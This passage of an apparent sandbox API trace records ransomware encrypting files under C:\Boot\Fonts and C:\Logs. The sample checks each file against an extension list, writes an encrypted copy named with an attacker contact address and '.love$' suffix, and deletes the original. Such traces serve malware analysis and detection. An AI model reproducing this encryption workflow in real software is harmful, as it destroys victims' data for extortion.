lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString=".7z") returned 3 [0223.863] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.863] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.863] lstrlenW (lpString=".dbf") returned 4 [0223.863] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.863] lstrlenW (lpString=".1cd") returned 4 [0223.863] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.863] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.863] lstrlenW (lpString=".jpg") returned 4 [0223.864] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.864] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.864] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.864] lstrlenW (lpString=".doc") returned 4 [0223.864] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.864] lstrlenW (lpString=".docx") returned 5 [0223.864] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.864] lstrlenW (lpString=".pdf") returned 4 [0223.864] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.864] lstrlenW (lpString=".xls") returned 4 [0223.864] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.864] lstrlenW (lpString=".xlsx") returned 5 [0223.864] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.864] lstrlenW (lpString=".ppt") returned 4 [0223.864] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.864] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.864] lstrlenW (lpString=".zip") returned 4 [0223.864] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.864] lstrlenW (lpString=".rar") returned 4 [0223.864] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.864] lstrlenW (lpString=".bz2") returned 4 [0223.864] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.864] lstrlenW (lpString=".7z") returned 3 [0223.864] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.864] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.864] lstrlenW (lpString=".dbf") returned 4 [0223.864] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0223.865] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.865] lstrlenW (lpString=".1cd") returned 4 [0223.865] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0223.865] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0223.865] lstrlenW (lpString=".jpg") returned 4 [0223.865] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0223.865] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0223.865] lstrlenW (lpString="msyh_boot.ttf") returned 13 [0223.865] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0223.866] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=156245) returned 1 [0223.866] CloseHandle (hObject=0x384) returned 1 [0223.866] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0223.866] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.866] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.866] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0223.866] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0223.866] lstrlenW (lpString=".doc") returned 4 [0223.866] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0223.866] lstrlenW (lpString=".docx") returned 5 [0223.866] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0223.866] lstrlenW (lpString=".pdf") returned 4 [0223.867] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0223.867] lstrlenW (lpString=".xls") returned 4 [0223.867] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0223.867] lstrlenW (lpString=".xlsx") returned 5 [0223.867] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0223.867] lstrlenW (lpString=".ppt") returned 4 [0223.867] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0223.867] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0223.867] lstrlenW (lpString=".zip") returned 4 [0223.867] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0223.867] lstrlenW (lpString=".rar") returned 4 [0223.867] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0223.867] lstrlenW (lpString=".bz2") returned 4 [0223.867] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0223.867] lstrlenW (lpString=".7z") returned 3 [0223.867] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0223.867] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0223.867] lstrlenW (lpString=".dbf") returned 4 [0223.867] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0224.168] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.168] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.168] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0224.170] GetLastError () returned 0x0 [0224.170] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.188] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.191] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0224.191] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x132, lpOverlapped=0x0) returned 1 [0224.192] SetEndOfFile (hFile=0x3a8) returned 1 [0224.192] CloseHandle (hObject=0x3a8) returned 1 [0224.197] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.197] SetEndOfFile (hFile=0x3a4) returned 1 [0224.198] CloseHandle (hObject=0x3a4) returned 1 [0224.199] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.199] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0224.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.199] lstrlenW (lpString=".doc") returned 4 [0224.199] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.199] lstrlenW (lpString=".docx") returned 5 [0224.199] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.199] lstrlenW (lpString=".pdf") returned 4 [0224.200] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.200] lstrlenW (lpString=".xls") returned 4 [0224.200] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.200] lstrlenW (lpString=".xlsx") returned 5 [0224.200] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.200] lstrlenW (lpString=".ppt") returned 4 [0224.200] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.200] lstrlenW (lpString=".zip") returned 4 [0224.200] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.200] lstrlenW (lpString=".rar") returned 4 [0224.200] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.200] lstrlenW (lpString=".bz2") returned 4 [0224.200] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.200] lstrlenW (lpString=".7z") returned 3 [0224.200] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.200] lstrlenW (lpString=".dbf") returned 4 [0224.200] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString=".1cd") returned 4 [0224.201] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString=".jpg") returned 4 [0224.201] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString=".doc") returned 4 [0224.201] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString=".docx") returned 5 [0224.201] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.201] lstrlenW (lpString=".pdf") returned 4 [0224.201] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString=".xls") returned 4 [0224.201] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString=".xlsx") returned 5 [0224.201] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.201] lstrlenW (lpString=".ppt") returned 4 [0224.201] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString=".zip") returned 4 [0224.201] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString=".rar") returned 4 [0224.201] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString=".bz2") returned 4 [0224.201] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString=".7z") returned 3 [0224.201] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString=".dbf") returned 4 [0224.201] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.201] lstrlenW (lpString=".1cd") returned 4 [0224.202] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.202] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0224.202] lstrlenW (lpString=".jpg") returned 4 [0224.202] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.202] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.202] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51 [0224.202] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.414] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0224.414] CloseHandle (hObject=0x3c4) returned 1 [0224.415] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20 [0224.415] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.415] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.415] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0224.416] GetLastError () returned 0x0 [0224.416] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.478] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.482] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0224.482] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x13a, lpOverlapped=0x0) returned 1 [0224.482] SetEndOfFile (hFile=0x3c8) returned 1 [0224.482] CloseHandle (hObject=0x3c8) returned 1 [0224.486] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.486] SetEndOfFile (hFile=0x3c4) returned 1 [0224.488] CloseHandle (hObject=0x3c4) returned 1 [0224.488] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.488] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0224.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.488] lstrlenW (lpString=".doc") returned 4 [0224.488] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString=".docx") returned 5 [0224.489] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.489] lstrlenW (lpString=".pdf") returned 4 [0224.489] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString=".xls") returned 4 [0224.489] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString=".xlsx") returned 5 [0224.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.489] lstrlenW (lpString=".ppt") returned 4 [0224.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.489] lstrlenW (lpString=".zip") returned 4 [0224.489] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString=".rar") returned 4 [0224.489] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString=".bz2") returned 4 [0224.489] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString=".7z") returned 3 [0224.489] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.489] lstrlenW (lpString=".dbf") returned 4 [0224.489] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.489] lstrlenW (lpString=".1cd") returned 4 [0224.489] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.489] lstrlenW (lpString=".jpg") returned 4 [0224.489] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.489] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.489] lstrlenW (lpString=".doc") returned 4 [0224.490] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString=".docx") returned 5 [0224.490] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.490] lstrlenW (lpString=".pdf") returned 4 [0224.490] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString=".xls") returned 4 [0224.490] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString=".xlsx") returned 5 [0224.490] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.490] lstrlenW (lpString=".ppt") returned 4 [0224.490] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.490] lstrlenW (lpString=".zip") returned 4 [0224.490] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString=".rar") returned 4 [0224.490] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString=".bz2") returned 4 [0224.490] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString=".7z") returned 3 [0224.490] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.490] lstrlenW (lpString=".dbf") returned 4 [0224.490] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.490] lstrlenW (lpString=".1cd") returned 4 [0224.490] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0224.490] lstrlenW (lpString=".jpg") returned 4 [0224.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.491] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.491] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0224.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.491] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0224.491] CloseHandle (hObject=0x3c4) returned 1 [0224.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0224.492] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.492] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.492] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.492] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.492] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0224.493] GetLastError () returned 0x0 [0224.493] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0224.517] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0224.520] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0224.521] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x13e, lpOverlapped=0x0) returned 1 [0224.521] SetEndOfFile (hFile=0x3c8) returned 1 [0224.521] CloseHandle (hObject=0x3c8) returned 1 [0224.524] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0224.524] SetEndOfFile (hFile=0x3c4) returned 1 [0224.526] CloseHandle (hObject=0x3c4) returned 1 [0224.526] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0224.526] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0224.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.527] lstrlenW (lpString=".doc") returned 4 [0224.527] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.527] lstrlenW (lpString=".docx") returned 5 [0224.527] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.527] lstrlenW (lpString=".pdf") returned 4 [0224.527] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.527] lstrlenW (lpString=".xls") returned 4 [0224.527] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.527] lstrlenW (lpString=".xlsx") returned 5 [0224.527] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.527] lstrlenW (lpString=".ppt") returned 4 [0224.527] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0224.527] lstrlenW (lpString=".zip") returned 4 [0224.527] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.527] lstrlenW (lpString=".rar") returned 4 [0224.527] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.527] lstrlenW (lpString=".bz2") returned 4 [0224.527] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.527] lstrlenW 